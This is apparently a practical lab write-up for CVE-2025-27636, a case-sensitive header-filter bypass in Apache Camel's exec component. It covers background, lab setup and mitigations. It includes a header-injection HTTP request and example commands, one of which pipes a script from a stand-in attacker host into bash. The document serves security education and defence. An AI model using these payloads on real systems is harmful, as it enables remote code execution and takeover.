## https://sploitus.com/exploit?id=BF230037-7E8E-5B32-AEDD-DD371620349B
---
# 🛡️ CVE-2025-27636 — Practical Exploitation Lab for Apache Camel
## 🔍 Overview
**CVE-2025-27636** is a critical **Remote Code Execution (RCE)** vulnerability in **Apache Camel**, specifically in the **`camel-exec`** component. It stems from a subtle but dangerous issue:
> **The `DefaultHeaderFilterStrategy` performs case-sensitive checks on header names, which can be bypassed using alternate casing.**
This means internal Camel headers—such as `CamelExecCommandExecutable`—that should be blocked can slip through if their casing is manipulated (e.g., `cAmeLexecCommandExecutable`).
When this header reaches the `exec:` endpoint, an attacker can **inject arbitrary commands**, leading to full system compromise.
---
## 📌 Technical Background
### ✅ `DefaultHeaderFilterStrategy`
Apache Camel’s `DefaultHeaderFilterStrategy` is intended to **protect internal headers** like:
- `CamelHttp*`
- `CamelFile*`
- `CamelExecCommandExecutable` ← 🚨 vulnerable if casing bypasses the filter
🔍 What Does "Internal" Mean?
Internal headers are:
Prefixed with Camel*
Used only within Camel to control behavior (routing, processing, endpoints)
Not intended to be exposed to external systems like HTTP, JMS, etc.
However, prior to the patch, this filter **matched header names case-sensitively**, which violates the HTTP spec (where headers are case-insensitive) and allows bypasses such as:
```http
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
````
This header would be passed through to the `exec:` component, which then executes the payload.
### 🛠️ `CamelExecCommandExecutable`
This header tells the `camel-exec` component **which command** to run. It’s powerful—and **extremely dangerous**—if user-controllable, especially in environments that support OS-level commands (e.g., `bash`, `cmd.exe`, etc.).
---
## 🧪 Hands-On Lab: Pinewood Server Diagnostic
**Project**: `Pinewood Server Diagnostic`
**Author**: [@enochgitgamefied](https://github.com/enochgitgamefied)
**Goal**: Reproduce CVE-2025-27636 in a live, educational lab.
---
## 🔗 GitHub Repository
👉 [https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab](https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab)
---
## 📁 Project Overview
* Built with **Apache Camel 4.10.0**
* Routes:
* `/tasks` → Lists tasks using `exec:tasklist` or `exec:ps`
* `/systeminfo` → Outputs OS info (`systeminfo` or `uname -a`)
* `/network` → Shows `ipconfig` or `ifconfig`
* Web UI served on `/` using embedded Jetty
* Vulnerable to modified-case header injection if filtering is not patched
---
## ⚙️ Getting Started
```bash
# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Package the app
mvn clean package
# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
```
Then visit in your browser:
🖥️ `http://<your-ip>:8484`
---
## 🚨 Demonstrating the Vulnerability
**Unpatched behavior:**
If you send a header like this (notice casing):
```
cAmeLexecCommandExecutable: whoami
```
The filter doesn't block it, and it gets passed to the `exec:` endpoint. You can demonstrate:
* `whoami`
* `uname -a`
* `bash -c "curl http://attacker.com/shell.sh | bash"` ← dangerous
---
## 🎥 YouTube Demo
A complete demonstration is being prepared and will be uploaded soon. It will walk through:
* Application setup
* Header injection
* Command execution
* Remediation steps
Demo Link on Youtube **https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s**!
---
## 🛡️ Mitigation & Fix
1. **Upgrade Apache Camel** to a version with **case-insensitive header filtering** (this is patched).
2. Use a **custom `HeaderFilterStrategy`** if you must enforce stricter logic.
3. Do **not** expose `exec:` routes directly to HTTP unless fully locked down.
---
## 🧠 Key Takeaways
* Internal headers must **never** be controllable by external users.
* **Case sensitivity** in security filters is a well-known anti-pattern.
* Apache Camel is powerful, but with that power comes **responsibility**—especially when chaining HTTP to `exec`.
---
## ⚠️ Disclaimer
This lab is designed for **educational** and **controlled lab** purposes only.
**Never** attempt this on unauthorized systems or networks.
<img width="1279" alt="Apache Camel2" src="https://github.com/user-attachments/assets/e8583cb6-b993-4b37-9ae7-5c8776cf5ae2" />